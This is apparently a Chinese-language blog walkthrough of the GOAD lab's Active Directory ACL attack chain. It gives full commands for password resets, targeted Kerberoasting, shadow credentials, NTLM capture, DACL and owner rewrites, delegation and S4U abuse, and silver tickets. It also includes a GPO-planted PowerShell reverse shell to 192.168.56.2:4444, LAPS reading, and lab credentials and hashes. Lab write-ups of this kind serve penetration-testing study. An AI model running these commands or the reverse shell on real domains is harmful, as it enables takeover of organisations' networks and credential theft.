freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ACL absue
2023-06-10 20:20:48
所属地 辽宁省

前言

第一次写文章,不足之处,多多担待.

也是简单的复现了靶场了

本次环境是GOAD的ACL环境

[Orange-Cyberdefense/GOAD: game of active directory (github.com)](https:/

image-20230610161318164

首先,我们将从 tywin.lannister(密码:powerkingftw135)开始关注 ACL 的 sevenkingdoms 杀戮链

  • The path here is :

    这里的路径是:

    用户和用户

    Tywin -> Jaime : 更改密码用户

    Jaime -> Joffrey:通用写入用户 Joffrey -> Tyron :用户 WriteDacl

    用户和组

    Tyron -> small council : 在组中添加成员

    组和组

    Small council -> dragon stone : 将所有者组写入组 dragonstone -> kingsguard : 将所有者写入组

    组和用户

    kingsguard -> stannis : Generic all on User

    用户和计算机

    stannis -> kingslanding : 计算机上的通用


GPO abuse

Read Laps password

Tywin -> Jaime : 更改密码用户

image-20230610162135102

这里tywin对jaime有强制更改密码的权限

听说不可能有这个权限-.-


更改密码为Qwer123!

net rpc password jaime.lannister -U sevenkingdoms.local/tywin.lannister%powerkingftw135 -S kingslanding.sevenkingdoms.local

crackmapexec smb 192.168.56.10 -u jaime.lannister -d sevenkingdoms.local -p Qwer123!

image-20230610161950357





Jaime -> Joffrey:通用写入用户

image-20230610162351806


有 jaime 密码,我们现在将利用从 Jaime 到 Joffrey 的 GenericWrite

这可能会滥用 3 种不同的技术:

shadowCredentials(windows server 2016 或 +) targetKerberoasting(密码应该足够弱以被破解) logonScript(这需要一个用户连接,老实说它从来没有工作过,或者除非使用已经在 sysvol 中的脚本)


Target Kerberoasting 目标 Kerberoasting

  • 首先让我们做一个目标 Kerberoasting,原理很简单。向用户添加 SPN,请求 tgs,删除用户的 SPN。

  • 现在我们可以像经典的 kerberoasting 一样破解 TGS。

  • Shutdown 有一个工具可以为您完成所有工作:https://github.com/ShutdownRepo/targetedKerberoast


targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p Qwer123! --request-user joffrey.baratheon

image-20230610163016014

hashcat -m 13100 -a 0 joffrey.hash rockyou.txt --force

image-20230610163632766


获得joffey的密码

影子凭证

可以使用certipy获得joffrey的TGT以及hash

certipy shadow auto -u jaime.lannister@sevenkingdoms.local -p 'pasdebraspasdechocolat' -account 'joffrey.baratheon'

image-20230610164346632


Logon script

ldeep ldap -u jaime.lannister -p 'Qwer123!' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=joffrey.baratheon)' scriptpath

image-20230610165116244

作者说这个行不通

滥用 GenericWrite 的另一种方法是更改 profilePath 并等待连接以获得 NetNtlmv2 身份验证并中继到另一台计算机或破解它。

#teat.py
import ldap3
dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
user = "sevenkingdoms.local\\jaime.lannister"
password = "Qwer123!"
server = ldap3.Server('kingslanding.sevenkingdoms.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'profilePath' : [(ldap3.MODIFY_REPLACE, '\\\\192.168.56.2\share')]})
print(ldap_con.result)
ldap_con.unbind()

image-20230610170004277

通过启动 RDP 连接启动响应器并模拟 joffrey 连接 来中继获得 joffrey.baratheon 和kingslanding$ 的 NetNLMV2 哈希值!

responder -I eth1
xfreerdp /d:sevenkingdoms.local /u:joffrey.baratheon /p:'1killerlion' /v:192.168.56.10 /size:80% /cert-ignore

image-20230610165626858




Joffrey -> Tyron :用户 WriteDacl

image-20230610162246794

要利用从 Joffrey 到 Tyron 的 writeDacl,我们可以使用 dacledit.py

  • 首先,我们将克隆由 shutdown (@_nwodtuhs) 创建的 impacket 的 fork,以使用 dacledit 获取最后的 PR

git clone https://github.com/ThePorgs/impacket.git 
cd impacket  
python3 setup.py install

首先让我们看看Joffrey对tyron的权限:

dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'

image-20230610170624849

Joffrey对tyron有writeDACl的权限

dacledit.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon  -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'


image-20230610171103592

写入一条 fullcontrol权限

好的,现在我们可以: 更改tyron密码

net rpc password tyron.lannister -U sevenkingdoms.local/joffrey.baratheon%1killerlion -S kingslanding.sevenkingdoms.local

image-20230610171612876

做一个目标target kerberoasting

python targetedKerberoast.py -v -d sevenkingdoms.local -u joffrey.baratheon -p '1killerlion' --request-user 'tyron.lannister'

image-20230610172156340

hashcat -m 13100 -a 0 tyron.hash pass.txt --force

image-20230610172252521

做一个影子凭据

certipy shadow auto -u c@sevenkingdoms.local -p '1killerlion' -account 'tyron.lannister'

image-20230610171737286

Tyron -> small council : 在组中添加成员

image-20230610173034442

添加成员需要用户和组的distinguishedName

ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=tyron.lannister)' distinguishedName
ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=Small Council)' distinguishedName

image-20230610173348723

ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"

image-20230610173455736

ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'Small Council'

image-20230610173526136

添加成功




Small council -> dragon stone : 将所有者组写入组

image-20230610173834517


现在作为 tyron,我们在Small council中,所以我们可以添加一个成员到 dragonstone 的组中。 所以我们像以前一样添加 tyron

ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"

ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'DragonStone'

image-20230610174028564


dragonstone -> kingsguard : 将所有者写入组

image-20230610174242476

注意:使用上面的impacket的环境

owneredit.py -action write -owner 'tyron.lannister' -target 'kingsguard' -hashes ':dc74e4b573eb79b4c4e24b00101fc1a1' sevenkingdoms.local/tyron.lannister
owneredit.py -action read -target 'kingsguard' -hashes ':dc74e4b573eb79b4c4e24b00101fc1a1' sevenkingdoms.local/tyron.lannister

image-20230610175204779



现在 kingsguard group的owner是tyron.lannister

作为组的所有者,我们现在可以更改 acl 并在组中为我们提供 GenericAll

dacledit.py -action 'write' -rights 'FullControl' -principal tyron.lannister  -target 'kingsguard' 'sevenkingdoms.local'/'tyron.lannister' -hashes ':dc74e4b573eb79b4c4e24b00101fc1a1'

image-20230610180937458

使用 GenericAll 现在我们可以将 tyron 添加到 kingsguard 组上面只是kingsguard 组的拥有者tyron不在组内

ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"
ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'kingsguard'

image-20230610182301330





kingsguard -> stannis : Generic all on User


image-20230610180656426


拥有genericall,可以直接更改密码

net rpc password stannis.baratheon --pw-nt-hash -U sevenkingdoms.local/tyron.lannister%dc74e4b573eb79b4c4e24b00101fc1a1 -S kingslanding.sevenkingdoms.local
crackmapexec smb 192.168.56.10 -u stannis.baratheon -d sevenkingdoms.local -p Qwer123!

image-20230610182645595




stannis -> kingslanding : 计算机上的通用

image-20230610182752628

资源的约束委派

滥用此权限的一种方法是使用基于资源的约束委派

创建计算机 X (rbcd$)
addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/stannis.baratheon:Qwer123!'
添加委托从 X (rbcd$) 写入我们的目标
rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'write' sevenkingdoms.local/stannis.baratheon:Qwer123!

image-20230610183355495



现在 X (rbcd$) 获得了对我们目标的委托许可,您现在可以执行 s4u2self 查询,然后执行 S4u2proxy
getST.py -spn 'cifs/kingslanding.sevenkingdoms.local' -impersonate Administrator -dc-ip 'kingslanding.sevenkingdoms.local' 'sevenkingdoms.local/rbcd$:rbcdpass'

export KRB5CCNAME=/workspace/rbcd/Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k -no-pass @kingslanding.sevenkingdoms.local

image-20230610183649656


rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'flush' sevenkingdoms.local/stannis.baratheon:Qwer123!
addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/cersei.lannister:il0vejaime' -delete

影子凭证

另外一种是影子凭证

certipy shadow auto -u stannis.baratheon@sevenkingdoms.local -p 'Qwer123!' -account 'kingslanding$'

image-20230610182953308


现在我们得到了 kingslanding$ 的 tgt 和 NT 哈希

显然我们可以做一个 dcsync 因为 kingslanding 是一个 DC,但是我们尝试直接获取一个 shell

要做到这一点,最简单的方法是使用 s4u2self abuse 或创建一张银票

s4u2self abuse

export KRB5CCNAME=kingslanding.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/kingslanding.sevenkingdoms.local" -k -no-pass -dc-ip 192.168.56.10 "sevenkingdoms.local"/'kingslanding$'

image-20230610184510021

export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache

wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local

image-20230610184850048

银票

查找域 SID:

lookupsid.py -hashes ':8dc883110158b424957d747ea0d2cae1' 'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0

image-20230610185053107

ticketer.py -nthash '8dc883110158b424957d747ea0d2cae1' -domain-sid 'S-1-5-21-3621576433-799811104-949646468' -domain sevenkingdoms.local -spn cifs/kingslanding.sevenkingdoms.local Administrator
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local

image-20230610185351772



GPO abuse


image-20230610190013619

在north域存在 GPO abuse

image-20230610191932087

gpofilepath 知道gpoid

python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "40EB1D54-F395-4B16-ACE2-6F127D0B82B9" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.56.2',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){    \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);    \$sb = (iex \$d 2>&1 | Out-String );    \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> ');    \$s.Write(\$sb,0,\$sb.Length);    \$s.Flush()};\$c.Close()" -taskname "abuse_gpo" -f -description "don't worry"
[+] ScheduledTask abuse_gpo created!


image-20230610192742127


image-20230610192944911


Read Laps password

image-20230610193901249

crackmapexec  ldap 192.168.56.12 -d essos.local -u jorah.mormont -p 'H0nnor!' --module laps

image-20230610200043983

REF:

GOAD - part 11 - ACL | Mayfly --- GOAD - 第 11 部分 - ACL |蜉蝣 (mayfly277.github.io)

域渗透GOAD(Game Of Active Directory) v2(三) - 先知社区 (aliyun.com)

# ACL # 域渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录